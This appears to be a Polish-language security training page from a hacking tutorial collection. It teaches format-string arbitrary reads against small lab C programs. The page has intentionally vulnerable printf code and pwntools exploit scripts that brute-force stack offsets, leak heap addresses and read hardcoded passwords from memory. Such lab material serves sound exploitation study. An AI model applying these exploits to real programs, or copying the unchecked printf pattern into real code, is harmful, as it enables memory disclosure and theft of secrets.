# Format Strings - Arbitrary Read Example {{#include ../../banners/hacktricks-training.md}} ## Rozpoczęcie odczytu binarnego ### Kod ```c #include int main(void) { char buffer[30]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); return 0; } ``` Skompiluj to za pomocą: ```python clang -o fs-read fs-read.c -Wno-format-security -no-pie ``` ### Wykorzystanie ```python from pwn import * p = process('./fs-read') payload = f"%11$s|||||".encode() payload += p64(0x00400000) p.sendline(payload) log.info(p.clean()) ``` - **offset wynosi 11**, ponieważ ustawienie kilku A i **brute-forcing** z pętlą przesunięć od 0 do 50 wykazało, że przy przesunięciu 11 i 5 dodatkowymi znakami (rurki `|` w naszym przypadku) możliwe jest kontrolowanie pełnego adresu. - Użyłem **`%11$p`** z wypełnieniem, aż adres był cały 0x4141414141414141 - **ładunek formatu jest PRZED adresem**, ponieważ **printf przestaje czytać po bajcie null**, więc jeśli wyślemy adres, a potem łańcuch formatu, printf nigdy nie dotrze do łańcucha formatu, ponieważ bajt null zostanie znaleziony wcześniej - Wybrany adres to 0x00400000, ponieważ to jest miejsce, w którym zaczyna się binarny (brak PIE)
## Odczytaj hasła ```c #include #include char bss_password[20] = "hardcodedPassBSS"; // Password in BSS int main() { char stack_password[20] = "secretStackPass"; // Password in stack char input1[20], input2[20]; printf("Enter first password: "); scanf("%19s", input1); printf("Enter second password: "); scanf("%19s", input2); // Vulnerable printf printf(input1); printf("\n"); // Check both passwords if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { printf("Access Granted.\n"); } else { printf("Access Denied.\n"); } return 0; } ``` Skompiluj to za pomocą: ```bash clang -o fs-read fs-read.c -Wno-format-security ``` ### Odczyt z stosu **`stack_password`** będzie przechowywane w stosie, ponieważ jest to zmienna lokalna, więc wystarczy nadużyć printf, aby pokazać zawartość stosu. To jest exploit do BF pierwszych 100 pozycji, aby wycieknąć hasła ze stosu: ```python from pwn import * for i in range(100): print(f"Try: {i}") payload = f"%{i}$s\na".encode() p = process("./fs-read") p.sendline(payload) output = p.clean() print(output) p.close() ``` W obrazie widać, że możemy wyciekować hasło ze stosu na `10` pozycji:
### Odczyt danych Uruchamiając ten sam exploit, ale z `%p` zamiast `%s`, możliwe jest wycieknięcie adresu sterty ze stosu na `%25$p`. Co więcej, porównując wycieknięty adres (`0xaaaab7030894`) z pozycją hasła w pamięci w tym procesie, możemy uzyskać różnicę adresów:
Teraz czas znaleźć sposób na kontrolowanie 1 adresu na stosie, aby uzyskać do niego dostęp z drugiej podatności na formatowanie ciągów: ```python from pwn import * def leak_heap(p): p.sendlineafter(b"first password:", b"%5$p") p.recvline() response = p.recvline().strip()[2:] #Remove new line and "0x" prefix return int(response, 16) for i in range(30): p = process("./fs-read") heap_leak_addr = leak_heap(p) print(f"Leaked heap: {hex(heap_leak_addr)}") password_addr = heap_leak_addr - 0x126a print(f"Try: {i}") payload = f"%{i}$p|||".encode() payload += b"AAAAAAAA" p.sendline(payload) output = p.clean() print(output.decode("utf-8")) p.close() ``` I można zauważyć, że w **try 14** z użytym przekazaniem możemy kontrolować adres:
### Exploit ```python from pwn import * p = process("./fs-read") def leak_heap(p): # At offset 25 there is a heap leak p.sendlineafter(b"first password:", b"%25$p") p.recvline() response = p.recvline().strip()[2:] #Remove new line and "0x" prefix return int(response, 16) heap_leak_addr = leak_heap(p) print(f"Leaked heap: {hex(heap_leak_addr)}") # Offset calculated from the leaked position to the possition of the pass in memory password_addr = heap_leak_addr + 0x1f7bc print(f"Calculated address is: {hex(password_addr)}") # At offset 14 we can control the addres, so use %s to read the string from that address payload = f"%14$s|||".encode() payload += p64(password_addr) p.sendline(payload) output = p.clean() print(output) p.close() ```
{{#include ../../banners/hacktricks-training.md}}